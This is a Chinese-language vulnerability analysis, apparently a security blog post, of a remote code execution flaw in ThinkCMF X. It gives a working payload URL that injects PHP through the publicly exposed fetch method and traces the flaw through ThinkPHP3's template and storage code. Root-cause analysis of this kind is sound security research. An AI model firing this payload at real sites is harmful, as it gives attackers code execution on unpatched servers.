TinkcmfX 前台任意代码执行分析

阅读量    55198 | 评论 5   稿费 350

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

这个洞是今年强网杯线下时做一道叫 yxtcmsReal World 题时候挖到的一个Thinkcmf X的前台任意代码执行的 0day(赛后问了下其他队伍大多是结合本题特性和tp3的缓存getshell,并不能通杀 ), 当时做完感觉影响有限,并没在意,前天看到有其他人发出来了,但是说的很概括,那么我发一份稍微详细点的分析吧。

 

Payload

开局先上payload,以强网杯那道题目为例子,:

http://127.0.0.1/index.php/Course/Course/fetch?content=%3C?php%20phpinfo();die();;die();)

那么具体什么情况下可以攻击呢?

ThinkcmfThinkPHP3 的基础上抽象出了四个常用Controller ,而这个漏洞的入口就正是其中的

HomeBaseControllerAdminBaseControllerfetch方法,也就是说只要可以访问到继承了这两个类的Controller,都可以直接攻击。

那么下面我们来分析一下具体漏洞成因。

 

漏洞成因

简单跟一下就可以发现其实最后执行代码的位置位于ThinkPHP3的内置代码

HomeBaseController 继承于 AppframeController 再继承于ThinkPHP3ThinkController类,而Controller类的fetch方法则是来源于了ThinkView类, 那么我们来看一下View类的fetch方法:

    public function fetch($templateFile='',$content='',$prefix='') {
        if(empty($content)) {
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter',$content);
        // 输出模板文件
        return $content;
    }

是不是看到我们可以控制的$content被直接拼接进了eval?不过很可惜,要进入这个eval,要求使用PHP原生模板,而ThinkPHP3 默认使用的不是所谓的 PHP原生模板,而是Think模板。不过这个时候,如果你还没死心,按照进入eval的思路构造了payload:fetch?content=%3C?php%20phpinfo();die();,你会惊奇的发现,虽然我们的代码没有执行到eval函数里,但是却攻击成功了。也就是说Think模板也存在同样的漏洞!

那我们继续跟下去:

Hook::listen一路跟下去,一直跟到ThinkTemplate类的fetch方法,我们可以完全控制的内容的参数名变成了$templateFile

    public function fetch($templateFile,$templateVar,$prefix='') {
        $this->tVar         =   $templateVar;
        $templateCacheFile  =   $this->loadTemplate($templateFile,$prefix);
        Storage::load($templateCacheFile,$this->tVar,null,'tpl');
    }

可以看到又调用了loadTemplate方法:

    public function loadTemplate ($templateFile,$prefix='') {
        if(is_file($templateFile)) {
            $this->templateFile    =  $templateFile;
            // 读取模板文件内容
            $tmplContent =  file_get_contents($templateFile);
        }else{
            $tmplContent =  $templateFile;
        }
         // 根据模版文件名定位缓存文件
        $tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];

        // 判断是否启用布局
        if(C('LAYOUT_ON')) {
            if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局
                $tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
            }else{ // 替换布局的主体内容
                $layoutFile  =  THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
                // 检查布局文件
                if(!is_file($layoutFile)) {
                    E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
                }
                $tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));
            }
        }
        // 编译模板内容
        $tmplContent =  $this->compiler($tmplContent);
        Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
        return $tmplCacheFile;
    }

$templateFile被赋值给了$tmplContent,然后进入了compiler方法,跟入即可发现我们的代码并未经过过滤,就直接进行了拼接随后返回:

    protected function compiler($tmplContent) {
        //模板解析
        $tmplContent =  $this->parse($tmplContent);
        // 还原被替换的Literal标签
        $tmplContent =  preg_replace_callback('/<!--###literal(d+)###-->/is', array($this, 'restoreLiteral'), $tmplContent);
        // 添加安全代码
        $tmplContent =  '<?php if (!defined('THINK_PATH')) exit();?>'.$tmplContent;
        // 优化生成的php代码
        $tmplContent = str_replace('?><?php','',$tmplContent);
        // 模版编译过滤标签
        Hook::listen('template_filter',$tmplContent);
        return strip_whitespace($tmplContent);
    }

随后两行代码将编译好的模板进行缓存,然后返回缓存文件名

Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
return $tmplCacheFile;

返回的文件名进入

Storage::load($templateCacheFile,$this->tVar,null,'tpl');

我们看一下Storage::load方法干了什么:

    public function load($_filename,$vars=null){
        if(!is_null($vars)){
            extract($vars, EXTR_OVERWRITE);
        }
        include $_filename;
    }

直接进行了文件包含,就这样我们的代码就被成功执行了。

 

锅该谁背?

那看到这里,有人可能会问, 既然问题出在Thinkphp3Controller,那为什么没听说Thinkphp爆这个漏洞?那么让我们寻找一下中间的问题出在了哪:

ThinkPHP3ThinkController::fetch 的代码:

    /**
     *  获取输出页面内容
     * 调用内置的模板引擎fetch方法,
     * @access protected
     * @param string $templateFile 指定要调用的模板文件
     * 默认为空 由系统自动定位模板文件
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀*
     * @return string
     */
    protected function fetch($templateFile = '', $content = '', $prefix = '')
    {
        return $this->view->fetch($templateFile, $content, $prefix);
    }

ThinkcmfHomeBaseController::fetch的代码:

    /**
     * 获取输出页面内容
     * 调用内置的模板引擎fetch方法,
     * @access protected
     * @param string $templateFile 指定要调用的模板文件
     * 默认为空 由系统自动定位模板文件
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀*
     * @return string
     */
    public function fetch($templateFile='',$content='',$prefix=''){
        $templateFile = empty($content)?$this->parseTemplate($templateFile):'';
        return parent::fetch($templateFile,$content,$prefix);
    }

有没有发现问题出在哪里?

ThinkPHP3Controller类中,fetch方法的属性是protected的,也就是说我们无法直接通过前端路由调用,而ThinkcmfHomeBaseController里,将这个方法的属性重载后设为了public ! 这就导致这个存在漏洞的方法可以被我们访问、控制,由此导致了漏洞发生。

而对于ThinkPHP来说这其实是一个类似其缓存设计缺陷控制器设计缺陷,当然也可以叫模板设计缺陷,当开发者不小心使得用户传递进来的参数直接进入Controllerfetch方法时,就会导致安全问题。除了Thinkcmf之外,因为同样问题中枪的CMS

还是有不少的。

同样存在问题的还有display方法,因为其内部就是调用了fetch方法,这里就不再单独赘述了 。而ThinkPHP5.1中对这两个方法进行了修改,该缺陷也得以修复。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多